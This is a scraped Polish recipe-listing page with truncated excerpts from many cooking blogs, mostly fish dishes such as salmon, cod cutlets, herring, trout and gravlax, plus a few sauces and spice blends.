ryby, u mnie morszczuk 1 duża cebula 1 większa pietruszka 2 duże marchewki 30 dkg pieczarek 1 papryczka chili 4 łyżki koncentratu pomidorowego sól, pieprz … Czytaj dalej Ryba po grecku

czarrna od kuchni
pierogi z niemieckim sosem 198

podałam z niemieckim sosem , na który przepis - chyba z przekory - zapisałam sobie już dawno. Przepis zakładał, że sos podawany ma być do ryb duszonych lub pieczonych, a ponieważ ryb nie jadam, dopasowałam go do swoich potrzeb i gustów, i podałam do pierogów. Wyszło przepysznie! składniki: ciasto: 1 szkl mąki 1 jajko 1/4 szkl wody szczypta soli nadzienie

6niebo
KOTLECIKI Z DORSZA 98

Bardzo lubię ryby, a najbardziej te już wyfiletowane. Tym razem przyszło mi się jednak zmierzyć z całą rybą, na szczęście bez głowy ;) Aby nie narazić rodziny, na zadławienie się ością, postanowiłam przygotować kotleciki. No bo jeśli nawet jakaś ość umknie moim oczom, to podczas mielenia mięsa przestanie już być taka groźna. Kotleciki podałam ze smażonym ryżem i brokułami, było(...)posiekanego szczypiorku 1 łyżka sosu rybnego 1 łyżeczka soku z cytryny 1 czerstwa bułka 1 jajko sól pieprz bułka tarta do obtoczenia olej do smażenia A jak to zrobić: Rybę dokładnie zmielić lub zblendować na gładką masę. Bułkę namoczyć w wodzie, gdy napęcznieje odcisnąć. Wszystkie składniki przełożyć do miski i dobrze wyrobić, najlepiej przy użyciu własnej dłoni. Odstawić do lodówki

Kuchnia w opałach
Łosoś po grecku (w warzywach) 181

pewno zdecydowana większość kojarzy rybę po grecku, czyli rybę usmażoną w panierce i tłuszczu, przykrytą podsmażonymi warzywami. Ja przedstawiam dziś przepis na jej lżejszą wersję, bo ryba jest pieczona a jest nią mój ulubiony łosoś. Wyszło bardzo podobnie a z całą pewnością zdrowiej. :-) 2 duże filety z łososia 1 por 6 marchewek 3 pietruszki  3 łyżki koncentratu pomidorowego

Szefowa kuchni
makaron z łososiem 148

Obiad na szybko, na smacznie i na kolorowo! Taki właśnie zażyczyła sobie wczoraj moja Córcia. Sama wybrała kawałek fileta z łososia, ja zrobiłam resztę. Obiad jak na wstępie. Wielbiciele ryb powinni być zachwyceni. składniki: 400 g makaronu (moje calamari) ok 200 g filetu z łososia cebula 2 ząbki czosnku 250 g mrożonych warzyw marchewka z groszkiem 1/2 pęczka szczypiorku(...)szkl wody, dusić pod przykryciem aż warzywa zmiękną. Dodać łososia, doprawić do smaku. Trzymać na ogniu kilka minut, sos powinien odparować. Makaron wyłożyć na talerze, na wierzch wyłożyć porcję ryby w warzywach. Posypać koperkiem, udekorować cząstkami pomidorków

6niebo
Gulasz rybny z boczniakiem i bliny gryczane 159

gulasz; 500 g ryby w tuszce np Nototenia 300 g boczniaka 2 marchewki 1 pietruszka 1 cebula tłuszcz do smażenia 3 pomidory bez skórki 1 łyżka koncentratu pomidorowego sól pieprz szczypta tymianku szczypta oregano na bliny(...)szkl mąki pszennej 0,5 szkl mąki gryczanej 1 szkl tłustego mleka 1 szkl wody 3 jajka 15 g drożdży pół łyżeczki soli 1 łyżeczka cukru gulasz ; Rybę umyć, oskrobać łuskę, Ułożyć w naczyniu i ugotować na parze. Do garnka wkroić cebulę, dodać tłuszcz i przyrumienić, następnie dodać posiekane boczniaki, poddusić na tłuszczu, dodać marchewkę i pietruszkę pokrojone w słupki

Gotowanie jest łatwe
Łosoś zapiekany pod warzywną salsą 158

Łosoś jest rybą która ma bardzo wielu zwolenników, nawet wśród tych , którzy za innymi rybami nie przepadają. Przygotować go można na wiele różnych sposobów - na surowo w postaci tatara, jako składnik sushi, pieczony smażony itp. Dzisiaj proponuję wam łososia w wersji zapiekanej w towarzystwie warzywnej salsy.  Składniki: 400 g fileta z łososia sos sojowy sos chili cytryna łyżka

Taste Therapy
Czarniak na szpinaku 139

Niezwykle pyszna i "soczysta" ryba. Jedna z ulubionych. Prosto i smacznie.   Składniki 400 g mrożonego szpinaku 1 łyżka masła 1 cebula 1 ząbek czosnku 4 łyżki gęstej śmietany 800 g czarniaka (po 200 g na osobę) 5 łyżek mąki olej do smażenia sól, pieprz   Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Szpinak wrzucamy na rozgrzane masło(...)cebulę i czosnek. Dusimy na małym ogniu, aż płyn odparuje. Dodajemy śmietanę, chwilę razem dusimy (cały czas mieszamy, by nam się nie przypaliło). Do smaku doprawiamy solą i pieprzem. Rybę dzielimy na porcje, oprószamy solą i pieprzem z obu stron. Obtaczamy w mące i smażymy na rozgrzanym oleju, na rumiano z obu stron. Rybę podajemy od razu po usmażeniu

R'n'G Kitchen
Zupa porowa z łososiem 150

zajmie 30 minut.  Składniki: 80 dag ziemniaków 30 dag surowego łososia 1 łyżeczka soku z cytryny 20 dag kremowego serka topionego 2 łyżki oliwy 1 łyżeczka ziół do ryb 3 duże pory 2 ząbki czosnku 3 łyżki masła 2 litry rosołu lub bulionu warzywnego Sól lub jarzynka do smaku Pieprz do smaku Sposób przygotowania: Ziemniaki skrobiemy, płuczemy kroimy(...)pieprzem, pod koniec gotowania  gdy warzywa będą miękkie, dodajemy rozdrobniony serek topiony, trzymamy na ogniu aż się rozpuści. Łososia myjemy, osuszamy, oddzielamy od skóry, oprószamy ziołami do ryb, skrapiamy sokiem z cytryny, kroimy w grubszą kostkę i przesmażamy na oliwie na patelni aż będzie miękki, zestawiamy z ognia. Gotową zupę nalewamy do talerzy, posypujemy łososiem, od razu podajemy

Wanilia i Kardamon
Delikatna rybka w suszonych pomidorach 146

obsypania z góry. Obłożyć łososia od spodu i z góry przygotowaną pastą. Włożyć rybkę do żaroodpornego naczynia, na górę rozłożyć kawałeczki masła i obsypać pozostałym koperkiem. Wstawić naczynie z rybą do nagrzanego piekarnika do 200 C i piec 25-30 minut. Nie przykrywać naczynia. Podawać z upieczonymi ziemniakami lub do chlebka. Jak kto lubi. Smacznego rybka jest pyszna

Kuchnia Pokoleń
Grillowany łosoś z nitkami z cukinii oraz papryką 160

Dzień dobry! Dzisiaj będzie baaardzo zdrowo. Grillowana ryba i warzywa w niecodziennym wydaniu. Niedługo nasz jeden z najbardziej ulubionych dni - Tłusty Czwartek! Dlatego więcej ćwiczymy i jemy zdrowiej żeby w ten dzień zjeść przynajmniej jednego pączka. A więc... Do dzieła! Składniki na 2 porcje: 1 cukinia 1 papryka 1 ząbek czosnku zioła prowansalskie sól pieprz kawałek łososia (400 g) olej(...)paprykę. Smażymy dosłownie chwilę. Chcemy uzyskać efekt żeby warzywa nie były miękkie. Przyprawiamy. Rozgrzewamy patelnię grillową. Grillujemy łososia z każdej strony około 4 - 6 minut w zależności od grubości ryby. Podajemy i jemy! Smacznego! Zapraszamy do dzielenia się z nami wrażeniami po przygotowania naszych przepisów w komentarzu

Gotowanie, czyli hobby dla każdego
Łosoś w maku 136

Opłukaną i osuszoną rybę kroimy na porcje, oprószamy solą. Mak wsypujemy do płaskiego naczynia (lepiej wsypać mniej, a później dosypać). Porcje łososia dokładnie panierujemy w maku. Na patelni rozgrzewamy olej kokosowy (lub jak w oryginale – oliwę z oliwek), kładziemy porcje łososia. Smażymy po 3 – 4 minuty z każdej strony, w zależności od grubości ryby (i ewentualnych upodobań

mojewypiekiinietylko
Łosoś marynowany w cytrynie 212

Znakomita skandynawska przystawka. Tak marynowany łosoś  jest wyjątkowo smaczny a bardzo prosty do zrobienia. Ważne aby ryba była jak najświeższa.  Użyłam soku z butelki, tak było wygodniej. Mój łosoś stał w lodówce, już w oleju, ponad tydzień, cały czas tak samo pyszny! Polecam!  Przepis szefa kuchni  Michała Koteckiego Składniki: 500 g świeżego fileta z łososia(...)zielonego, marynowanego pieprzu. 500 ml oleju  ( użyłam słonecznikowego) sól. czarny, mielony, pieprz. Przygotowanie Łososia opłukać i osuszyć. Przy pomocy bardzo ostrego noża skrawać ukośnie, jak najcieńsze plastry ryby -  zaczynać krojenie od strony gdzie była głowa. Skórę wyrzucić. Wlać do miski sok z cytryny, dodać sól i pieprz, dobrze wymieszać. Zalewa powinna być lekko przesolona

Stare Gary
Pstrąg z chilli i cytryną 131

Chociaż pogoda nam dziś nie dopisuje humor można sobie poprawić pysznym pstrągiem którego muszę przyznać jadłam pierwszy raz bo nigdy nie przepadałam za rybami. Po w zasmakowaniu się w pstrągu następna do wypróbowania będzie Dorada. Pstrąg z chilli i cytryną  - 2 świeże pstrągi patroszone - 1 cytryna - 1/2 łyżeczka płatków chilli - sól morska - 1 łyżka natki pietruszki - 2 gałązki(...)marynatą nacieramy pstrąga by weszła w nacięcia   i wsadzamy do środka po gałązce koperku i kawałku masła. Odstawiamy do lodówki na ok. 2 godziny. Po tym czasie obtaczamy rybę w mące i smażymy z obu stron na złoty kolor na maśle.  Pstrąga podajemy z cytryną i pieczonymi ziemniaczkami. Życzę smacznego

Kulinarne życie
Kotlety z dorsza z suszonymi pomidorami i kaparami 127

nadają się na danie główne, lecz na zimno doskonale sprawdzą się jako dodatek do kanapek. Kotlety z ryby są mięciutkie i pyszne. Jeśli przeszkadza Ci tranowy posmak morskiej ryby wystarczy ją co najmniej na godzinę przed przyrządzeniem skropić sokiem z cytryny. Dzisiejsze kotleciki aromatyzowane dodatkiem suszonych  pomidorów i kaparów zadowolą najwybredniejszych smakoszy. Zapraszam do przepisu. Składniki

Gotuj zdrowo!Guten Appetit!
Zupa rybna z mleczkiem kokosowym i pomidorami czyli Zupowy wtorek i Srodowe Rybki 145

dzisiaj dla Was wyjątkową zupę. Pełna smaków, pożywna, rozgrzewająca, nic dodać nic ując jedynie ryby trzeba lubić. Przepis jest autorstwa Doroty Wellman i pochodzi z najnowszej książki Lidla "Ryby są super". Jest prosta w przygotowaniu i naprawdę smakuje wybornie :) :) obiecuję, że przepis pojawi się popołudniu

Dzieje kuchennej Wiewióry
Sos koperkowy do ryby dietetyczny 162

Idealny słodko- kwaśny sos do ryb. Składniki: ½ małego jogurtu naturalnego Łyżka miodu ząbek czosnku ½ cytryny Koper świeży(...)łyżka suszonego Szczypta soli, pieprzu Koper posiekać, czosnek zmiażdżyć, następnie wycisnąć sok z cytryny, dodać do jogurtu. Doprawić solą, pieprzem i odrobiną miodu. Wymieszać. Podawać jako dodatek do ryb

Tradycyjna Kuchnia
Śledzie po japońsku 129

Kuchnia polska jest bardzo twórcza. Mamy rybę po grecku, fasolkę po bretońsku, pierogi ruskie, śledzie po japońsku… i nie tylko. Śledzie po japońsku są kanonem sztuki kulinarnej PRL-u. Królowały w restauracjach, na dancingach. Przetrwały do dziś „zaklęte w rewirach”. Śledzie po japońsku. Składniki: - śledzie matiasy ok. 600g (filety) - 2 cebule - 1 kwaśne, twarde jabłko (Granny Smith) - 1 szklanka gęstej(...)jeżeli nie są duże). Przykrywamy folią spożywczą i wstawiamy na dobę do lodówki. Podajemy przybrane ćwiartkami jajka na twardo, natką pietruszki i czerwonym pieprzem. Mimo, że śledzie zaliczamy do ryb tłustych, nie są jednak kaloryczne. Są bogatym źródłem białka, kwasów nienasyconych, witamin i mikroelementów. Śledzie po japońsku podane z ugotowanymi lub pieczonymi ziemniakami będą pożywnym daniem obiadowym

mojewypiekiinietylko
Łosoś w sosie teriyaki z sezamem 141

Były zakupy i były to wielkie zakupy więc czasu po powrocie do domu na obiad było mało. A co najszybciej się robi? Ano rybę. Stanęło na łososiu ale żeby coś udziwnić przekopałam nowe zapasy i dokopałam się do sosu teriyaki. Rybę powinnam zamarynować w tym sosie ale już nie było na to czasu. Wyszedł super i idealnie pasował(...)łososia (ja miałam filet ze skórą) sól, pieprz olej 2 łyżki sosu teriyaki 1 łyżka płynnego miodu 2 łyżki ziaren sezamu W naczyniu żaroodpornym rozprowadzam olej, układam rybę układam najpierw stroną bez skóry tak żeby złapała trochę oleju, odwracam - więc mamy ja już stroną bez skóry do góry. Solimy, pieprzymy. Robimy mieszankę do polania. Sos teriyaki dokładnie mieszamy

Piekielna Kuchnia Pati
8 domowych mieszanek przypraw - bez chemii. 364

oprócz dobrej jakości produktu, są przyprawy. Zdarza się, że z braku czasu idziemy na łatwiznę i zamiast kombinować z różnymi mieszankami, kupujemy po prostu sklepowe. Do pizzy, mięsa, kurczaka, ryb czy nawet ziemniaków - wybór jest naprawdę duży. Niestety czasem nie zdajemy sobie sprawy, że nawet takie pozornie nieszkodliwe mieszanki kryją w sobie mnóstwo niechcianych dodatków.  Okazuje się(...)Przyprawa do marynowania mięs 1 łyżeczka suszonej cebuli 1 łyżeczka czosnku granulowanego 1 łyżeczka ostrej papryki 1 łyżeczka oregano 1 łyżeczka mielonej gorczycy 1 łyżeczka lubczyku 3. Przyprawa do ryb 1 łyżeczka szałwii 1 łyżeczka tymianku 2 łyżeczki suszonej natki pietruszki 2 łyżeczki bazylii 2 łyżeczki pieprzu cytrynowego 4. Przyprawa do kurczaka 2 łyżki papryki słodkiej 1 łyżeczka papryki

Powiedz dietom nie
Sushi 157

jego wykonania oraz podania. Sushi to idealne szybkie jedzenie i dodatkowo mało przetworzone. Jest wspaniałe na spotkanie z przyjaciółmi czy szybki lunch w pracy. Sushi możemy przygotować z ryb surowych, pieczonych, wędzonych, z ogórkiem avocado - dowolność według preferencji smakowych. Dziś polecam Wam bardzo smaczne rolki z pieczonym łososiem, z tuńczykiem, wędzoną makrelą, avocado, papryką, jarmużem(...)sojowy ciemny ocet sojowy wasabi   liście nori mata bambusowa czarny sezam pałeczki Przygotowanie: Ryż gotujemy ok. 1 godzinę przed przygotowywaniem sushi według instrukcji na opakowaniu.  Ryby kroimy na kawałki a warzywa w paski. Matę bambusową owijamy folią spożywczą (aby ryż nie zachodził), na jej środku umieszczamy liść nori. Na liść nakładamy w 3/4 ryż, następnie

Łycha smaków
Chorwackie smaki 160

spróbować regionalnych przysmaków. Ilość świeżych i różnorodnych ryb była niesamowita, a każdy sprzedawca mniej lub bardziej zachęcał do kupna tychże morskich wspaniałości.  Nabyliśmy drogą kupna małże, jakieś ryby, które polecił Stefano (niestety nie udało się nam ustalić jej nazwy) oraz kalmary. Małże i rybkę przygotował nam osobiście Stefano. Przepis zamieszczę w kolejnych postach.  Oto przysmaki, które

Łycha smaków
Grillowana ryba 102

Polsce ryby grilluje się w foli i faktycznie ma rację.... Potrzebne składniki: 2 dowolne rybki 3 ząbki czosnku 0,5 pęczka pietruszki oliwa z oliwek pieprz, sól Rybę  dokładnie myjemy, następnie nacieramy oliwą z oliwek,  solą, i pieprzem , następnie grillujemy na ruszcie. Do oliwy z oliwek dodajemy pokrojony czosnek z pietruszką i skrapiamy cały czas(...)rybę, którą po ok. 20 min przekładamy na druga stronę. Prosto szybko i jak smacznie

Łycha smaków
Ryż do sushi 145

Sushi to japońska potrawa przygotowywana z ugotowanego ryżu, najczęściej zawinięta w liście wodorostów (nori) wraz z dodatkiem ryb jak i owoców morza. Zdaje sobie sprawę, że większość z Was na samą myśl o surowych rybach może mieć wstręt do sushi. Nic bardziej mylnego – sushi możecie przygotować, np. z wędzonym łososiem jak i paluszkami krabowymi.   Niestety ryżu

Ugotować
MAKARON Z ŁOSOSIEM WĘDZONYM W SOSIE ŚMIETANOWYM 191

łososia wędzonego ( Jeżeli lubimy bardziej nasycony smak dodajemy więcej ryby jeżeli lubimy ten smak łagodniejszy dajemy tej ryby mniej)  1 cebula 3-4 łyżki gęstej śmietany masło do podsmażenia natka pietruszki sol pieprz Przygotowanie: 1. Cebule kroimy w drobna kostkę 2. Na patelni rozpuszczamy masło i dodajemy do niego

Kulinarnie z Polką na Kresach
łosoś z makaronem i fasolką zapiekany w sosie śmietanowym z mozzarellą 183

kostkę, oraz drobno posiekane ząbki czosnku. Następnie na patelnię dokładamy pokrojoną w paski paprykę, smażąc całość na dość dużym ogniu przez trzy minuty. Do przesmażonych warzyw dodajemy kawałki ryby smażymy jeszcze przez minutę i całość przekładamy do  ugotowanego makaronu(...)wcześniej odcedzonego). Do makaronu dodajemy również szparagową fasolkę, całość lekko przyprawiamy solą, oraz pieprzem i mieszamy . Żaroodporne naczynie smarujemy ostatnią łyżką masła, a następnie wkładamy do niego makaron z rybą i warzywami. Na desce kroimy w drobną kostkę mozzarellę, przekładamy ser do miski dodajemy do niego słodką śmietanę i rozbite jajka. Całość delikatnie doprawiamy solą oraz pieprzem, mieszamy i wylewamy

Miód i pieprz
Rillettes z łososia, czyli pasta łososiowa 236

rozdrabniamy rybę widelcem (wyjmując ewentualne ości), przekładamy do miseczki i zostawiamy do całkowitego ostudzenia. Wędzonego łososia drobno siekamy i dokładamy do tego upieczonego. W oddzielnej miseczce mieszamy ze sobą majonez, serek, musztardę, drobno posiekany koperek i 1-2 łyżki soku z cytryny. Dodajemy szczyptę pieprzu oraz przepłukane i posiekane kapary – jeśli używamy. Mieszamy. Dodajemy sos do ryby

Poezja smaku
Amur z czosnkiem w panierce 97

razem na moim wigilijnym stole zagościł amur, pyszna, delikatna, biała ryba. Zrobiłam go najprościej jak było można a efekt był zaskakujący. Ryba wyszła delikatna, soczysta i aromatyczna. Amur z czosnkiem w panierce. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Gravlax 180

czystą ściereczkę, którą należy posmarować marynatą (tylko tam, gdzie będzie położony łosoś). Następnie położyć pierwszy kawałek ryby - skórą do dołu. Ponownie wierzch łososia posmarować marynatą. Ułożyć drugi kawałek ryby (skórą do góry) i posmarować pozostałą marynatą. Przygotowanego łososia zawinąć w ściereczkę. Następnie na zawiniętego łososia położyć deskę i obciążyć ją, np. naczyniem żaroodpornym. Tak przygotowanego

Ugotować
Karp w sosie pomarańczowo - miodowo - winnym (bezglutenowy) 155

zostanie przysposobiony do innych ryb. Tych słodkowodnych. Już go widzę ze szczupakiem.  kilka dzwonek karpia obranego i dobrze osuszonego sok z 2 pomarańczy mąka ziemniaczana do oprószenia ryby olej do smażenia   mała puszka koncentratu pomarańczowego  łyżka miodu akacjowego  szklanka wody szklanka wina białego cebula w piórka sól i pieprz  garść rodzynków Karpia

AZgotuj!
Superfood na co dzień - Jamie Oliver / KONKURS 227

ryba na parze po azjatycku z czarnym ryżem, warzywami i sosem chili, zapiekany bakłażan z harissą, z granatem, z pistacjami, z oliwkami i ryżem. Pyszne samosy z wołowiną, cebulą i batatem, sałatka z pieczonej marchewki i dyni, z kaszą jaglaną, jabłkiem, jalapeno i granatem czy wspaniał zupa rybna z markelą, mulami i kuskusem! Dania mięsne, rybne i wegetariańskie! Ryby

Plate of Joy
Łosoś pod pietruszkową pierzynką 178

Łosoś jest rybą którą uwielbiam ponad wszystko, z racji tego że nie ma ości, zazwyczaj kupuje go w Lidlu. Chociaż szczerze polecam sklep rybny w Łodzi RYBEX na Piotrkowskiej 196 - mi tam jest bliżej - lub na Zachodniej 25. Łososia można przyrządzić na wiele sposobów: ze skórą, bez skóry, w sosie, w panierce, na patelni grillowej. Ja postanowiłam przygotować(...)skrobać albo odcinać skórę. Łosoś w zależności od grubości kawałka potrzebuje od 3-5 min z każdej strony, grillując go na patelni grillowej łatwo zauważyć zmianę koloru naszej ryby, gdy łosoś zmieni swój kolor do połowy przewracamy go na druga stronę. Razem z łososiem na patelnię grillową kładziemy bakłażana, po chwili dodajemy pieczarki, rumienimy je z każdej strony

Piekielna Kuchnia Pati
Jadalne prezenty: domowa sól ziołowa (+ gotowe etykiety na słoiki) 144

gotowaniem i ułatwi życie tym, którzy rzadko to robią. Taką solą możecie szybko doprawić wiele potraw, a po wymieszaniu z oliwą uzyskacie szybki dressing do sałatki lub marynatę do ryb i mięsa. Możliwości są tu tak naprawdę nieograniczone, bo z solą możecie połączyć wszystko, co Wam w duszy gra: różne zioła świeże lub suszone, czosnek, skórkę cytrynową, przyprawy takie(...)też jako przyprawa do ziemniaków, warzyw oraz mięsa. Sól z koperkiem, skórką cytrynową i koprem włoskim (ten ostatni dodatek możecie ewentualnie pominąć) to mój pomysł na szybką przyprawę do ryb. Sól z suszonymi grzybami (u mnie borowiki), tymiankiem oraz czarnym pieprzem to najciekawsza z proponowanych mieszanek. Grzyby są nośnikiem smaku umami, który dodaje potrawom smakowitości. Myślę, że tą mieszanką

Chilli Czosnek i Oliwa
Łosoś pod chrupiącą skorupką 140

jest ulubiona moja ryba, można ją przyrządzać na różne sposoby. Filet łososia umyć, wysuszyć, usunąć skórę. Doprawić solą, białym pieprzem. Naczynie żaroodporne lekko natrzeć olejem o smaku czosnku lub jeśli nie macie to zwykłym. Płaty łososia wyłożyć na dno naczynia. Cukinię umyć, pokroić w plasterki. Pomidora umyć i przekroić na cztery części. Warzywa obłożyć naokoło ryby, obsypać solą pieprzem

Kuchnia Pokoleń
Pasta z ryby i sera 160

łyżki startego żółtego sera 1 mała cebula 1 łyżka sezamu sól pieprz natka pietruszki Rybę z puszki przełożyć do miseczki wraz z sosem i rozgnieść widelcem. Dodać drobno posiekaną cebulę, sezam, żółty ser i posiekaną natkę pietruszki. Wszystko doprawić solą i pieprzem.Wymieszać. pasta z ryby i sera

O kuchni z uczuciem
Chłodziarki Gorenje z kolekcji Retro 225

stałej temperatury we wnętrzu, a co za tym idzie – świeżości i pełnej wartości odżywczej pożywienia. Szuflada FreshZone, w której panuje najniższa w temperatura, nadaje się doskonale do przechowywania mięsa, ryb, owoców(...)warzyw. Zapewnia ona świeżość, aromat, kolor i smak żywności na dłużej. Szuflada ZeroZone, w której panuje temperatura około 0°C, to idealne miejsce to przechowywania świeżych owoców morza, ryb lub mięsa. Dzięki niej delikatne produkty dłużej zachowują świeżość, naturalną soczystość oraz składniki odżywcze. Szuflada XtremeFreeze, zapewnia szybkie mrożenie w skrajnie niskich temperaturach. Takie „szokowe” podejście pozwala zachować wszystkie składniki

karmelowy
po prostu śledź w oleju 190

słoiku) układamy  cebulę pokrojoną  krążki, na nią kładziemy pokrojone w czterocentymetrowej długości kawałki śledzie, posypując je odrobiną pieprzu. Na rybę układamy kolejną warstwę cebuli, na nią układamy śledziowe filety, znów oprószając pieprzem. Kiedy wszystkie kawałki ryby ułożymy w misce ( lub słoiku), całość zalewamy olejem ( tak by całkowicie przykrył rybę) i odstawiamy w chłodne miejsce na co najmniej

Miód i pieprz
Dorsz smażony w panierce z migdałami 82

Obok tradycyjnego karpia i ryb w galarecie na wigilijnym stole w mojej rodzinie zawsze pojawia się dorsz smażony w panierce. Szybkie i pewne danie, które smakuje wszystkim miłośnikom ryb. W tym roku po raz pierwszy jako dodatek do dorsza pojawiły się lekko uprażone migdały. Kompozycja sprawdza się bardzo dobrze

Milion Smaków
Pasta serowa z rybą w pomidorach 180

białego sera w kostce 1 puszka ryby w sosie pomidorowym (np. makreli) zielona cebulka ewentualnie sól, pieprz Sposób wykonania: 1. Ser rozdrobnić widelcem. 2. Do sera dodać rybę z puszki i posiekaną zieloną cebulkę. Ewentualnie doprawić solą i pieprzem do smaku. Smacznego

Kuchnia domowa Ani
Gruszki z patelni z rozmarynem z kruszonką 185

pokazać jej, że dzięki mnie polubi jednak cynamon. Poza tym takie gruszki z aromatem cynamonu i rozmarynu doskonale wpiszą się w świąteczne menu. Doskonale pasują do karpia czy innej ryby. Oczywiście crunch z kiełbasy, boczku czy bekonu można pominąć w wieczór wigilijny gdy nie jemy mięsa, a aromat wędzonki można uzyskać dzięki kropli płynnego dymu (liquide smoke) . Takie gruszki(...)zbyt wysokiej temperaturze na patelni, przez co może zacząć się palić. Przepis i jak zrobić maślany ryż znajdziesz w przepisie Łosoś na maślanym ryżu . Do delikatnych dań z ryby czy drobiu dla odmiany i bez problemu zamiast warzyw, można podać delikatne owoce z ziołami. Te gruszki z patelni gwarantują ucztę dla podniebienia. Już raz wcześniej wykorzystałam gruszkę z rozmarynem

Sztuka gotowania w/g Samiry
Rolada z łososiem i makrelą 148

spożywczą, następnie ułożyć płaty łososia wędzonego tworząc długi prostokąt. Na środek nałożyć masę z makreli. Zawinąć roladkę pomagając sobie folią spożywczą. Na końcach zawinąć folię, tworząc duży cukierek z ryby Wstawić do lodówki, jeść na drugi dzień. Podawać z bułeczkami lub chlebkiem. Śmietanę można zastąpić jogurtem greckim, ale prawdę mówiąc śmietana nadaje puszystości. Pycha , polecam

Kuchnia Pokoleń
Kotlety rybne (mielone) 123

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com   500g filetów z dorsza (lub innej ryby) 1 jajko 1 czerstwa bułka + mleko(...)namoczenia 1 cebula 1-2 ząbki czosnku 1 łyżeczka słodkiej papryki (polecam wędzoną) koperek, natka pietruszki (opcjonalnie) sól, pieprz (dodałam cytrynowy) Dodatkowo: bułka tarta olej do smażenia   Rybę pokroić w kawałki i zmielić (najlepiej maszynką do mięsa) z cebulą, czosnkiem oraz bułką (odciśniętą z mleka). Do masy dodać jajko, przyprawy, zioła i całość dokładnie wyrobić. Uformowane kotlety obtoczyć

Di gotuje
Japońska zupa z pasty miso – miso-shiru. Co to jest umami? 163

półpłynnym żółtkiem – do miso na śniadanie. Makaron ryżowy, jajeczny, soba (gryczany), makaron z tapioki – zawsze. Ryż biały, brązowy i dziki – według upodobań, zamiast makaronu. Krewetki, mięso kurczaka, biała ryba, małże – ugotowane w dashi lub na parze, do bardziej sycącej zupy. Kapusta pekińska lub bok choy – leciutko w bulionie zblanszowane. Pocięta cieniutko marchewka, grzyby mun, enoki, shiitake, pieczarki jako komponenty wywaru(...)żywnością znajdziecie kilka rodzajów pasty: Jasna , tzw. Shiro Miso (albo żółte Shinshu Miso), zrobiona jest z fermentującego ryżu i soi. Lekko słodka, zrównoważona. Nadaje się do dań lekkich jak ryby i owoce morza, a także do zup i marynat. Fermentuje i dojrzewa najkrócej, jest przez to najmniej słoną z past i najrzadszą, ale też najmniej aromatyczną. Jasnożółta, kremowa, beżowa

Karo in the Kitchen
Lubuskie potrawy regionalne, czyli czym się zajadamy w lubuskiem 179

niezliczona ilość malowniczo położonych jezior (spójrzcie na zdjęcie powyżej) bogatych w ryby. Przy takim bogactwie nie sposób nie zagospodarować nadwyżek, których nie da się zjeść na bieżąco. Ryby w zalewie octowej trafiły na listę produktów tradycyjnych naszego województwa. Podobnie jak nadnotecka kapusta i ogórki kwaszone, ser kozi, salceson wiejski, papierówki w syropie czy strucla (strudel) z dodatkiem maku

Codzienna kuchnia niecodzienna
Smalec (czysty) 221

gotowane na parze. Ja smalcu używam najczęściej zamiennie z masłem klarowanym. Do smażenia używam oleju kokosowego, gdy jego zapach i słodkawy smak dobrze się komponuje, czyli np. do panierowanych ryb i drobiu albo też naleśników paleo . Do smażenia wołowiny, niezależnie czy jako stek czy na gulasz, używam właśnie smalcu (domowego). Placki ziemniaczane, czy jajecznica tylko na smalcu, ale jajka(...)jeszcze bardziej nierównowagę pomiędzy tłuszczami omega-3 i omega-6 . Smalec jest smaczny, bardzo praktyczny i zdecydowanie ma miejsce w diecie paleo, ale nie powinniśmy równocześnie zapominać o tłustych rybach i/lub suplementowaniu omega-3. Zobacz też nasze uwagi odnośnie mięsa: Mięso – zdrowie, pieniądze i sumienie . Smacznego! Smalec (czysty) Wartość energetyczna Węglowodany (w tym błonnik) Tłuszcz Białko 100g 900 kcal

PaleoSMAK
Pstrąg tęczowy zapiekany z cukinią, pomidorem i ziemniakami 213

ziołowa) ewentualnie sok z cytryny oliwa z oliwek Pstrąga wypatroszyć, pozbawić łusek, umyć i osuszyć. Następnie natrzeć solą, pieprzem i przyprawą do sałatek. Za pomocą noża naciąć jeden bok ryby. Na sam koniec pstrąga(...)skropić sokiem z cytryny. Ziemniaki obrać, umyć i pokroić w bardzo cienkie plasterki. Pomidora umyć, przekroić na pół i pokroić w półplasterki. Cukinię umyć i pokroić w cienkie talarki. Rybę przełożyć na blaszkę do pieczenia (wcześniej wyłożoną papierem do pieczenia). Następnie naprzemiennie ułożyć pocięte warzywa (plasterki powinny lekko na siebie nachodzić), które posypać solą oraz pieprzem. Całość (rybę

Ugotować
Śledzie opiekane w zalewie octowej 173

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com   Coś dla miłośników śledzi.  Co prawda wolę inne gatunki ryb i nie jestem fanką octu, ale na takiego śledzia od czasu do czasu mogę się skusić.     1 kg śledzi ( wypatroszonych i bez głów) 2 jajka mąka do obtaczania olej do smażenia Zalewa: 2,5 szklanki wody 1/2 szklanki(...)ziela angielskiego   3 ziarna pieprzu 1 łyżeczka gorczycy Śledzie umyć, osuszyć i dokładnie obtoczyć w mące, jajku (rozmieszanym; można dodać odrobinę mleka lub wody) i ponownie w mące. Rybę usmażyć (na rozgrzanym oleju) na złoty kolor (z obu stron).  Przygotować zalewę Cebule, czosnek i marchew pokroić w plasterki. Wszystkie składniki zlewy połączyć i doprowadzić do wrzenia. Śledzie umieścić

Di gotuje
Kremowy sos-winegret z mango do mięs i ryb 490

mniej, wykwintnie, z wysokiej pułki, niż za tą samą cenę, ale za to obficie i pożywnie. Dlatego dziś moja propozycja na nadchodzace świeta do świątecznego mięsiwa, świątecznego indyka czy ryby: rewelacyjny kremowy sos-winegret z mango. Zamiast zawiesistego ciężkiego sosu na śmietanie czy majonezie, lekki kremowy sosik. Niech nie zmyli nikogo składnik jakim jest mango(...)Winegret nie jest na słodko. Nadaje się do zimnych mięs typu szynka czy schab, do wędzonego kurczaka lub wędzonego łososia. Nadaje się oczywiście też do schabu na ciepło, do ryby na ciepło i do owoców morza. Po prostu palce lizać. Kolorem doskonale wpasuje się również w klimat świąt Wielkanocnych.Perełka na stole. Perełka na stole w kązde święta. Kremowy

Sztuka gotowania w/g Samiry
Szczupak zapiekany z prawdziwkami 129

